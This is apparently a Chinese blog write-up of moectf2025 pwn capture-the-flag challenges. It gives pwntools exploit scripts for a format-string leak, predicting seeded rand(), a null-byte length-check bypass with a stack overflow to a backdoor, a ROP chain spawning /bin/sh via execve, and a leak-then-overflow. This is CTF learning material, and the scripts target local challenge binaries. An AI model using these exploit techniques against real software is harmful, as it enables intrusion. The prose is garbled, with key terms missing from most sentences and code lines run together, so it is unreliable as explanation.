1294 字
3 分钟
moectf2025_pwn_part.3(详细审计_9~13)
待一切平静之后又开始了日常练习巩固基础。
fmt


这里的是指向一段堆内存的指针,我们看到在中随机在大小写的个字母中随机生成了个字符存入那段堆内存中。在栈上的同理。
那么我们可以直接泄露偏移来确定它们的位置。

我们先来看,我们需要根据将这个字节按照小端序和码反转为相应的字符。
43 69 49 59 6e对应下来就是CiIYn。
接着对于,我们需要借助来泄露堆内存中的字符串。

randomlock



对于-的一个,大约经过次操作之后就会收敛为,而我们一开始的循环进行了次此次操作,已可以保证最终的为。
此外,如果不知道结论的话我们也可以动态调试看一下。

所以最终的脚本和之前的做法类似。我们自己编译一个语言文件伪造随机数,种子设置为,范围同样对取模。在相同时间窗口内它的随机数会和目标文件的相同。我们直接发送即可。
如果不知道怎么编译共享文件和
ctypes的作用的可以移步上一篇博客。博客链接EXP:
from pwn import *import ctypes
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#p = remote('127.0.0.1',12121)p = process('./pwn')#gdb.attach(p)
lib = ctypes.CDLL('./1.so')lib.randd.restype = ctypes.c_intlib.init()
for i in range(10): result = lib.randd() p.sendlineafter(b">", str(result).encode())
p.interactive()随机数:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <time.h>
void init(){ srandom(1); return;}int randd(){ return random() % 10000;}str_check


在输入中用来截断绕过长度检查的判断。在输入的最前面加入进入,(不使用是因为它的读取会被截断),它会将我们输入的按第二次输入的的长度完全复制到缓冲区上。
EXP:
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn'HOST = '127.0.0.1'PORT = 45427
#p = remote(HOST, PORT)p = process(LOCAL)
backdoor_addr = 0x40123Bret_addr = 0x40101a
payload1 = flat([ b'meow', b'\0' * 28, b'a' * 8, p64(backdoor_addr)])
p.sendlineafter("say?", payload1)p.sendlineafter("it?", b'48')
p.interactive()syslock



也就是这里先让变成的位置(根据偏移量)然后再覆写为。

这里没有,所以我们在第一次的时候就写入一个在段上,(这里第一次恰好还能读个字节)后续再利用即可。
EXP:
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn'HOST = '127.0.0.1'PORT = 43879
p = remote(HOST, PORT)#p = process(LOCAL)
#gdb.attach(p, '''##''')
syscall_addr = 0x401230gadget = 0x40123Cpop_rax_ret = 0x401244binsh_addr = 0x404084
p.sendafter(b"mode\n",b'-32')
payload1 = flat([ p32(59), b"/bin/sh\x00"])
p.sendafter(b"password\n",payload1)
payload2 = flat([ b'a' * 64, b'a' * 8, p64(pop_rax_ret), p64(59), p64(gadget), p64(binsh_addr), p64(0), p64(0), p64(syscall_addr)])
p.send(payload2)
p.interactive()xdulaker





考虑之前处的,我们可以直接根据两个缓冲区的偏移量来向上先写入来绕过的检查。


两个相减就可以得到偏移量,所以我们先触发,然后填充写入就可以绕过检查了栈溢出了。
EXP:
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn_patched'HOST = '127.0.0.1'PORT = 44813
p = remote(HOST, PORT)#p = process(LOCAL)
#gdb.attach(p)
p.sendlineafter(b'>', b'1')p.recvuntil(b"Thanks,I'll give you a gift:")leaked = int(p.recv(14), 16)log.success(f"leaked:{hex(leaked)}")
base = leaked - 0x4010backdoor_addr = base + 0x124Elog.success(f"backdoor_addr:{hex(backdoor_addr)}")
p.sendlineafter(b'>', b'2')payload1 = flat([ b'a' * 0x20, b'xdulaker'])p.sendafter(b'name?!', payload1)
p.sendlineafter(b'>', b'3')payload2 = flat([ b'a' * 56, p64(backdoor_addr)])p.sendafter(b'xdulaker', payload2)
p.interactive() moectf2025_pwn_part.3(详细审计_9~13)
https://mkrari.cn/posts/moectf2025_pwn_3/